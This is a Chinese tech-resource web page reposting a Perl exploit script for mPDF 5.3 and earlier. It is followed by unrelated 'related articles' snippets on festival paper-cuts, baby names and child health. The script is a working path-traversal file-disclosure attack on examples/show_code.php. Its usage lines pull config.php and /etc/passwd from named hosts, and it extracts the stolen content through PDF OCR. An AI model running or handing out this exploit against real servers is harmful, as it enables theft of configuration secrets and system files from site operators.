mPDF = 5.3文件泄露及修复漏洞预警 -电脑资料

标题: mPDF <= 5.3 File Disclosure

作者: ZadYree

下载地址: http://www.mpdf1.com/mpdf/download

影响版本: 5.3 and prior

测试平台: 多个

#!/usr/bin/perl -U

=head1 TITLE

mPDF <= 5.3 File Disclosure Exploit (0day)

=head2 SYNOPSIS

-- examples/show_code.php --

preg_match('/example[0]{0,1}(\d+)_(.*?)\.php/',$filename,$m); <--- URI unproperly filtered.

$num = intval($m[1]);

$title = ucfirst(preg_replace('/_/',' ',$m[2]));

if (!$num || !$title) { die("Invalid file"); }

=head2 DESCRIPTION

This vulnerability, due to a weak filter, lets you download any unprotected remote

content, under PDF format.

The exploit may not work, depending on the set up htaccess/chmod rules on the

remote server.

=head2 USAGE

perl exploit.pl -r http://www.2cto.com /mpdf53/ ../config.php

perl exploit.pl -a http://p00niez.com/mpdf53/ /etc/passwd

Requiered modules:

PDF::OCR2

LWP::Simple

File::Type

Download a module:

sudo cpan -fi install Module::Name

=head3 Author

Zadyree ~ 3LRVS Team | Blog: z4d.tuxfamily.org/blog

=head3 Thanks

PHDays CTF - Yes, CTFs sometime do give you 0dayz

3LRVS Team - Support

=cut

#************* Configuration **************#

my $pdf_file = '/tmp/b00m.pdf';

$PDF::OCR2::CHECK_PDF = 0;

$del_temp_file = 1;

#******************************************#

use 5.010;

use PDF::OCR2;

use Getopt::Std;

use LWP::Simple;

use File::Type;

use constant TRUE => 1;

use constant FALSE => 0;

help() unless (@ARGV >= 2);

my (%optz, $uri);

getopts('rah', \%optz);

my $relative = $optz{'r'};

my $absolute = $optz{'a'};

my $help = $optz{'h'};

help() unless ($absolute || $relatife);

my ($purl, $fpath) = @ARGV;

my $name = $purl;

$name =~ s{http://(.+?)/.*} {$1};

$name .= ("_" . localtime(time) . ".txt");

$uri = '/examples/show_code.php?filename=example03_LRVS.php/../../../../../../../../' if ($absolute);

$uri = '/examples/show_code.php?filename=example03_LRVS.php/../../' if ($relative);

help() unless ($uri);

my $furl = $purl . $uri . $fpath;

$furl =~ s#(//)#$i++?"/":$1#eg; # Yeah that's twisted.

say "[*]Retrieving content...";

my $file = make_file(get($furl));

die "[-]T

he stream you requested is not well formatted (forbidden page, etc).\012" unless is_pdf($file);

say "[+]OK\012[*]Converting format...";

$pdf = PDF::OCR2->new($file);

my $text = $pdf->text;

$text =~ s/[^\x0A-\x7F]+?//gm;

open(my $fh, '>', $name);

print $fh $text;

close($fh);

say "[+]OK\012[+]Content successfully extracted!\nFile: ", $name;

unlink($pdf_file) if ($del_temp_file == TRUE);

sub make_file {

my $content = shift;

open($fh, '>', $pdf_file);

print $fh $content;

close($fh);

return($pdf_file);

}

sub is_pdf {

my $checked_file = shift;

my $ft = File::Type->new();

return(1) if ($ft->mime_type($checked_file) eq "application/pdf");

return(0);

}

help() if ($help);

sub help {

say <<"EOF";

Usage: perl $0 [-r|-a] http://[mPDF URL]

Details:

-r : Relative path (ex: ../file.php)

-a : Absolute path (ex: /etc/file.zd)

For any more information, feel free to contact ZadYree

Happy hacking!

EOF

exit(0);

}

相关文章

元宵节剪纸图片

元宵节就要来临了,下面是中国人才小编给大家整理关于元宵节的剪纸图片,快来浏览吧。元宵节剪纸图片2017元宵节剪纸图片1元宵节剪纸图片2元宵节剪纸图片3元宵节剪纸图片4元宵节的来历和传说元宵节是中国的传...
资料大全2013-02-05
元宵节剪纸图片

齐姓女孩起名

齐月颖、齐琳花、齐琬嫣、齐桐玉、齐欣悦、齐楚燕、齐燕京齐婧华、齐琳晗、齐琳嘉、齐玲仪、齐海琳、齐燕楚、齐琴齐静霞、齐琳涵、齐秀芬、齐小莉、齐秀玲、齐墨嫣、齐晓花齐依琳、齐琳菡、齐琳梦、齐晓莉、齐浩文、...
资料大全2016-03-07
齐姓女孩起名

二岁小孩便秘怎么办呢

两岁的孩子非常小,身体很脆弱,平时的照顾不能松懈,不能给孩子吃对身体不好的东西。如果吃的不对就可能会出现便秘的情况,严重的话孩子可能会虚脱,很是令人担心。面对小孩子便秘的情况,要用正确的方式治疗,最忌...
资料大全2017-07-01
二岁小孩便秘怎么办呢

写给校长的一封信

在学习、工作或生活中,说到书信,大家肯定都不陌生吧,书信是一种用文字来表情达意的应用文体。你知道书信怎样写才规范吗?下面是小编精心整理的写给校长的一封信,欢迎大家借鉴与参考,希望对大家有所帮助。  写...
资料大全2014-08-08
写给校长的一封信

公司国庆节晚会主题

公司要搞国庆节晚会了,那么主题是什么比较好呢?下面是应届毕业生小编为大家收集整理的关于公司国庆节晚会主题方案,欢迎大家参考,公司国庆节晚会主题。公司国庆节晚会主题方案一一、指导思想 ...
资料大全2018-09-03
公司国庆节晚会主题

熊猫兔是什么兔子?熊猫兔的简介

熊猫兔是什么兔子?熊猫兔的简介熊猫兔的简介熊猫兔一般指荷兰兔,原产于德国,为着名的大型皮肉兼用品种,育成史不详,据说系由比利时兔和弗朗德巨兔等杂交选育而成。熊猫兔体躯被毛白色,鼻、嘴、眼圈及耳毛黑色,...
资料大全2015-01-07
熊猫兔是什么兔子?熊猫兔的简介